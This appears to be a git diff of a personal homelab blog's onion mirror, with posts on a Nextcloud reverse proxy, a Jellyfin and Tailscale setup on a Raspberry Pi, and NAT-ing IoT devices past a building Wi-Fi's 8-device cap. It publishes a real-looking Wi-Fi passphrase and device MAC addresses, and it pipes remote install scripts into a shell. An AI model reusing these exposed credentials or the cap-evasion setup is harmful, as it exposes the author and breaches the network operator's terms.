    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. + Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/homelab/page/1/index.html b/public-onion/tags/homelab/page/1/index.html new file mode 100644 index 0000000..37c8278 --- /dev/null +++ b/public-onion/tags/homelab/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/homelab/ + + + + + + diff --git a/public-onion/tags/hostapd/index.html b/public-onion/tags/hostapd/index.html new file mode 100644 index 0000000..fcb70d1 --- /dev/null +++ b/public-onion/tags/hostapd/index.html @@ -0,0 +1,353 @@ + + + + + + + +Hostapd | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    +
    +

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    +
    +
    November 23, 2025 · 18 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/hostapd/index.xml b/public-onion/tags/hostapd/index.xml new file mode 100644 index 0000000..ecb5a63 --- /dev/null +++ b/public-onion/tags/hostapd/index.xml @@ -0,0 +1,612 @@ + + + + Hostapd on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hostapd/ + Recent content in Hostapd on AlipourIm journeys + Hugo -- 0.146.0 + en + Sun, 23 Nov 2025 00:00:00 +0000 + + + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. + The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
